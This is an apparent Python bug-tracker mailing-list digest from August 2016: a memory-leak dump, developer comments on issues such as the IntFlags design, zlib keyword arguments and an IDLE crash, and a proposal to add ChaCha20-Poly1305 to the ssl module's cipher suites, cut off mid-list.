08 00 00 00 {997} normal block at 0x0037AFE8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {996} normal block at 0x0037AF38, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {989} normal block at 0x0037AE88, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {982} normal block at 0x0037ADD8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {975} normal block at 0x0037AD28, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {967} normal block at 0x0037CAF0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {958} normal block at 0x0037C9D8, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {956} normal block at 0x0037AC78, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {948} normal block at 0x0037C7A8, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {946} normal block at 0x0037ABC8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {939} normal block at 0x0037AB18, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {938} normal block at 0x00381860, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {931} normal block at 0x0037AA68, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {924} normal block at 0x0037A9B8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {923} normal block at 0x0037A908, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {916} normal block at 0x0037A858, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {909} normal block at 0x0037A7A8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {908} normal block at 0x0037A6F8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {900} normal block at 0x0037A648, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {899} normal block at 0x0037A598, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {892} normal block at 0x0037A4E8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {885} normal block at 0x0037C8C0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {877} normal block at 0x0037A438, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {876} normal block at 0x0037A388, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {869} normal block at 0x0037A2D8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {862} normal block at 0x0037A228, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {855} normal block at 0x0037A178, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {854} normal block at 0x0037A0C8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {847} normal block at 0x0037A018, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {840} normal block at 0x00379B48, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {832} normal block at 0x00379F68, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {825} normal block at 0x0037C690, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {823} normal block at 0x0037C578, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {809} normal block at 0x00379EB8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {802} normal block at 0x00379E08, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {795} normal block at 0x00379D58, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {788} normal block at 0x00379CA8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {781} normal block at 0x00379BF8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {773} normal block at 0x00379A98, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {772} normal block at 0x003799E8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {765} normal block at 0x00379938, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {758} normal block at 0x00381688, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {740} normal block at 0x0037C460, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {731} normal block at 0x003797D8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {730} normal block at 0x0037C348, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {722} normal block at 0x0037C230, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {714} normal block at 0x0037C118, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {700} normal block at 0x00379728, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {693} normal block at 0x00379678, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {686} normal block at 0x003795C8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {678} normal block at 0x0037BF30, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {675} normal block at 0x0037BCF0, 256 bytes long. Data: < m > 00 00 00 F0 6D FB FB FB D4 A5 B2 1D 06 00 00 00 {673} normal block at 0x0037BBE0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {665} normal block at 0x0036D080, 76 bytes long. Data: < 00 00 00 3C 6D FB FB FB 9C DD C0 1D 06 00 00 00 {658} normal block at 0x0037B900, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {650} normal block at 0x0037BA10, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {641} normal block at 0x0037B7F0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {633} normal block at 0x003793B8, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {626} normal block at 0x0037B6E0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {618} normal block at 0x0037B400, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {610} normal block at 0x0037B510, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {601} normal block at 0x0037B2F0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {593} normal block at 0x00375F60, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {585} normal block at 0x00379308, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {578} normal block at 0x00376070, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {568} normal block at 0x003789C0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {560} normal block at 0x00377280, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {553} normal block at 0x00378AD0, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {544} normal block at 0x003788B0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {536} normal block at 0x003777A0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {528} normal block at 0x003786E0, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {519} normal block at 0x00378510, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {510} normal block at 0x00378340, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {501} normal block at 0x00378170, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {492} normal block at 0x00377FA0, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {483} normal block at 0x00377A80, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {474} normal block at 0x00377C50, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {464} normal block at 0x003778B0, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {455} normal block at 0x00377690, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {453} normal block at 0x00377170, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {439} normal block at 0x003762B0, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {430} normal block at 0x00377340, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {420} normal block at 0x00374BE0, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {413} normal block at 0x0036EF60, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {404} normal block at 0x003767D0, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {394} normal block at 0x00376B20, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {383} normal block at 0x00376480, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {378} normal block at 0x00374F70, 578 bytes long. Data: < 2r "o > 00 00 02 32 72 FB FB FB 00 00 02 22 6F FB FB FB {371} normal block at 0x00374C90, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {363} normal block at 0x00374DA0, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {354} normal block at 0x00375910, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {343} normal block at 0x003752C0, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {332} normal block at 0x00374B30, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {331} normal block at 0x0036F1E0, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {324} normal block at 0x0036F130, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {317} normal block at 0x003746C0, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {316} normal block at 0x00374610, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {309} normal block at 0x0036FA50, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {308} normal block at 0x003747E0, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {298} normal block at 0x0036F9A0, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {291} normal block at 0x0036EB00, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {290} normal block at 0x003742C0, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {280} normal block at 0x00371BB0, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {273} normal block at 0x00373F70, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {263} normal block at 0x0036F650, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {259} normal block at 0x0036F300, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {248} normal block at 0x0036ED20, 532 bytes long. Data: < r o > 00 00 02 04 72 FB FB FB 00 00 01 F4 6F FB FB FB {241} normal block at 0x0036EC10, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {233} normal block at 0x00371C60, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {224} normal block at 0x00371480, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {217} normal block at 0x0036FE70, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {210} normal block at 0x00371D80, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {200} normal block at 0x003720D0, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {194} normal block at 0x00371210, 577 bytes long. Data: < 1r !o > 00 00 02 31 72 FB FB FB 00 00 02 21 6F FB FB FB {187} normal block at 0x00371560, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {182} normal block at 0x0036E0F0, 128 bytes long. Data: < pm > 00 00 00 70 6D FB FB FB 01 00 00 00 08 00 00 00 {175} normal block at 0x0036E9F0, 224 bytes long. Data: < m > 00 00 00 D0 6D FB FB FB 01 00 00 00 10 00 00 00 {173} normal block at 0x0036E720, 670 bytes long. Data: < r ~o > 00 00 02 8E 72 FB FB FB 00 00 02 7E 6F FB FB FB {166} normal block at 0x00370BC0, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {155} normal block at 0x00370570, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {144} normal block at 0x0036FF20, 1568 bytes long. Data: < m > 00 00 06 10 6D FB FB FB 01 00 00 00 80 00 00 00 {133} normal block at 0x0036E200, 416 bytes long. Data: < m > 00 00 01 90 6D FB FB FB 01 00 00 00 20 00 00 00 {123} normal block at 0x0036E3D0, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {119} normal block at 0x0036FB20, 800 bytes long. Data: < m @ > 00 00 03 10 6D FB FB FB 01 00 00 00 40 00 00 00 {106} normal block at 0x0036DEF0, 464 bytes long. Data: < r > 00 00 01 C0 72 FB FB FB 00 00 1A 00 00 00 1E 00 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:29:13 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 07:29:13 +0000 Subject: [issue27765] Accept UTF-8 encoded bytes as input to json.loads() In-Reply-To: <1471245628.7.0.787756575079.issue27765@psf.upfronthosting.co.za> Message-ID: <1471246153.11.0.0270904244015.issue27765@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This looks as a duplicate of issue10976. See also issue17909 (which covers not just UTF-8, but UTF-16 and UTF-32, in conforming with RFC 4627). ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:35:14 2016 From: report at bugs.python.org (Ned Deily) Date: Mon, 15 Aug 2016 07:35:14 +0000 Subject: [issue10910] pyport.h FreeBSD/Mac OS X "fix" causes errors in C++ compilation In-Reply-To: <1295040100.28.0.0907494738582.issue10910@psf.upfronthosting.co.za> Message-ID: <1471246514.73.0.873992128982.issue10910@psf.upfronthosting.co.za> Ned Deily added the comment: I have no special insight into this one but, since there seems to be general agreement here that this makes things better for those using C++ on OS X and FreeBSD, I guess it's time to try it. Pushed for release in 2.7.13, 3.5.3, and 3.6.0. Thanks for the version update, Dimitry. BTW, it would be good if you signed the PSF Contributor Agreement (https://www.python.org/psf/contrib/contrib-form/). ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:40:20 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 07:40:20 +0000 Subject: [issue25455] Some repr implementations don't check for self-referential structures In-Reply-To: <1445455038.6.0.824380060049.issue25455@psf.upfronthosting.co.za> Message-ID: <1471246820.21.0.545333269569.issue25455@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Antoine, are you fine with io_recursive_repr2.patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:47:22 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 15 Aug 2016 07:47:22 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1471247242.97.0.108191826107.issue16764@psf.upfronthosting.co.za> Xiang Zhang added the comment: Oops! I am on the way regenerating the CA output to catch up with hg tip, but after a meeting you have done it. Thanks for your work, Serhiy. And excellent job as for issue27574. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 03:52:45 2016 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Mon, 15 Aug 2016 07:52:45 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471247565.61.0.21734623575.issue23591@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: It's true, but it seems that with Enums, we're trying to retrain people to use identity testing (see https://docs.python.org/3/library/enum.html#comparisons). It would be unfortunate if we had to reuntrain them. :-/ Ethan's proposal (of caching weakrefs) is fine, if he manages to do it correctly (I didn't). It's much more complicated than it seems at first, since it has to work during the class definition itself, too. Ok, second problem I encountered: zeros. Imagine class MyFlags(enum.Flags): NONE = 0 FIRST = 1 << 0 SECOND = 1 << 1 What is MyFlags.FIRST & MyFlags.SECOND? 0 or MyFlags.NONE? Or even False? :-) I would almost be for the third option, if not for the fact that & is used not only for "membership" testing, but also (with ~) for clearing flags. Imitating Go, we might want to introduce another operator, &~, for clearing flags, but that would probably be a too great disruption. MyFlags.NONE seems cool, but then we have an enum member that is false, another thing we have tried to avoid with current Enum design (that's why functional API starts values at 1, for example). And what about the case when MyFlags doesn't define NONE, only FIRST and SECOND? If you opt for 0, you open another can of worms: first, return type depends on argument values, and Guido hates that. :-) Also, that 0 is still somehow tied to MyFlags: it would be a type error to write (MyFlags.FIRST & MyFlags.SECOND) | AnotherFlags.SOMETHING, right? Maybe the correct solution is to _always_ have a special value in every Flags class for such cases, but then what is it's ~__NONE__? :-) Fortunately, once you add __NONE__ and __ALL__, you get a Boolean closure, and you can meaningfully define &, |, ^ and ~ in a type-safe way. But that's probably overkill. And so on... there are a lot of problems, and I've been through them. I'd like you to succeed where I didn't, but I have a bad feeling. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:13:07 2016 From: report at bugs.python.org (chinmay hegde) Date: Mon, 15 Aug 2016 08:13:07 +0000 Subject: [issue27750] Idle editor crashes when input size more than 250 lines given In-Reply-To: <1471028932.53.0.0266667136467.issue27750@psf.upfronthosting.co.za> Message-ID: <1471248787.24.0.143895215431.issue27750@psf.upfronthosting.co.za> chinmay hegde added the comment: Attaching the exact snippet of code that caused idle crash.issue.py file contains the code and input.txt contains input used. Also tried with python interpreter. In python interpreter issue is not seen. It's displaying the output. Pasting of input was done by copying the contents from the notepad file to idle. Output is 2 dimensional array in the script(variable 'a'). I think due to the size of the output idle is crashing. But issue is not seen in python interpreter. System Config:- Operating system - Windows 10 64 Bit Python Version - 3.5.2 IDLE version - 3.5.2 Tk version - 8.6.4 ---------- Added file: http://bugs.python.org/file44113/idle_crash.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:28:29 2016 From: report at bugs.python.org (Berker Peksag) Date: Mon, 15 Aug 2016 08:28:29 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <1471249709.27.0.89469536745.issue26823@psf.upfronthosting.co.za> Berker Peksag added the comment: > So I'll tweak that [...] Hi Nick, could you also tweak the usage of versionchanged directive? :) + .. versionchanged:: 3.6 + + Long sequences of repeated frames are now abbreviated. Description line needs to be indented: .. versionchanged:: 3.6 Long sequences of repeated frames are now abbreviated. ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:47:02 2016 From: report at bugs.python.org (Yoichi Nakayama) Date: Mon, 15 Aug 2016 08:47:02 +0000 Subject: [issue26600] MagickMock __str__ sometimes returns MagickMock instead of str In-Reply-To: <1458547986.83.0.630762686391.issue26600@psf.upfronthosting.co.za> Message-ID: <1471250822.33.0.268109074188.issue26600@psf.upfronthosting.co.za> Yoichi Nakayama added the comment: It is not a bug of MagicMock. It is a problem of the sample program. Calling str to mock object cause not only read access, it also write to related objects. So there is a race condition. ---------- nosy: +Yoichi Nakayama _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:47:06 2016 From: report at bugs.python.org (=?utf-8?b?0KTQuNC70LjQv9C/INCf0L7QvdC+0LzQsNGA0LXQsg==?=) Date: Mon, 15 Aug 2016 08:47:06 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471250826.78.0.841940662336.issue27734@psf.upfronthosting.co.za> ?????? ????????? added the comment: I've exported it in source.def - tstf @1 * thank you* Sorry for my english =) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:50:57 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 08:50:57 +0000 Subject: [issue23591] Add Flags and IntFlags In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za> Message-ID: <1471251057.66.0.907767634977.issue23591@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: You still can use identity testing for named instances of IntFlags. But since the purpose of IntFlags is replacing int flags, tested values can be int (e.g. when read from files as ints). For unknown values you should use either equality testing or wrap them in IntFlags. In your example MyFlags.FIRST & MyFlags.SECOND is MyFlags.NONE. If MyFlags.NONE not exists, the result is MyFlags(0). You can apply the patch and experiment with it. ---------- Added file: http://bugs.python.org/file44114/intflags_3.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:51:50 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 08:51:50 +0000 Subject: [issue26200] SETREF adds unnecessary work in some cases In-Reply-To: <1453745024.51.0.674954872761.issue26200@psf.upfronthosting.co.za> Message-ID: <1471251110.8.0.933150519832.issue26200@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : Added file: http://bugs.python.org/file44115/py_setref_extra.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:54:47 2016 From: report at bugs.python.org (Stefan Krah) Date: Mon, 15 Aug 2016 08:54:47 +0000 Subject: [issue27734] Memory leaks at Python35-32 In-Reply-To: <1470892075.99.0.402535403449.issue27734@psf.upfronthosting.co.za> Message-ID: <1471251287.64.0.910796665431.issue27734@psf.upfronthosting.co.za> Stefan Krah added the comment: It is a known problem that PEP 3121 and later similar PEPs address. Most C extensions leak a (usually very small) amount of memory with each call to Initialize()/Finalize(). IMO this issue can be closed. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:55:00 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 08:55:00 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1471251300.35.0.136268698465.issue16764@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: serhiy.storchaka -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:55:08 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 08:55:08 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1471251308.62.0.111412695721.issue27704@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:55:51 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 15 Aug 2016 08:55:51 +0000 Subject: [issue27704] bytes(x) is slow when x is bytearray In-Reply-To: <1470597747.43.0.480552843757.issue27704@psf.upfronthosting.co.za> Message-ID: <1471251351.66.0.533004762948.issue27704@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your contribution Naoki. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 15 04:57:42 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 15 Aug 2016 08:57:42 +0000 Subject: [issue27766] Add ChaCha20 Poly1305 to SSL ciphers Message-ID: <1471251462.7.0.145357415362.issue27766@psf.upfronthosting.co.za> New submission from Christian Heimes: The ssl module has two cipher suite configurations, one for server-side and the other for client-side. Issue #26470 will add OpenSSL 1.1.0 support, which will introduce new cipher suites with ChaCha 20 stream cipher and Poly1305 authenticator. CHAHA20 should be used when GCM is not available (AES GCM > CHACHA20 > AES CBC). $ bin/openssl ciphers 'ECDH+AESGCM:ECDH+CHACHA20:DH+AESGCM:DH+CHACHA20:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+HIGH:DH+HIGH:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+HIGH:RSA+3DES:!aNULL:!eNULL:!MD5' ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-DSS-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-DSS-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-CCM8:ECDHE-ECDSA-AES256-CCM:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-CCM8:DHE-RSA-AES256-CCM:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA256:DHE-RSA-AES256-SHA:DHE-DSS-AES256-SHA:ECDHE-ECDSA-AES128-CCM8:ECDHE-ECDSA-AES128-CCM:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-CCM8:DHE-RSA-AES128-CCM:DHE-RSA-AES128-SHA256:DHE-DSS-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA:ECDHE-ECDSA-CAMELLIA256-SHA384:ECDHE-RSA-CAMELLIA256-SHA384:ECDHE-ECDSA-CAMELLIA128-SHA256:ECDHE-RSA-CAMELLIA128-SHA256:DHE-RSA-CAMELLIA256-SHA256:DHE-DSS-CAMELLIA256-SHA256:DHE-RSA-CAMELLIA128-SHA256:DHE-DSS-CAMELLIA128-SHA256:DHE-RSA-CAMELLIA256-SHA:DHE-DSS-CAMELLIA256-SHA:DHE-RSA-CAMELLIA128-SHA:DHE-DSS-CAMELLIA128-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:DHE-RSA-DES-CBC3-SHA:DHE-DSS-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-CCM8:AES256-CCM:AES128-CCM8:AES128-CCM:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:CAMELLIA256-SHA256:CAMELLIA128-SHA256:CAME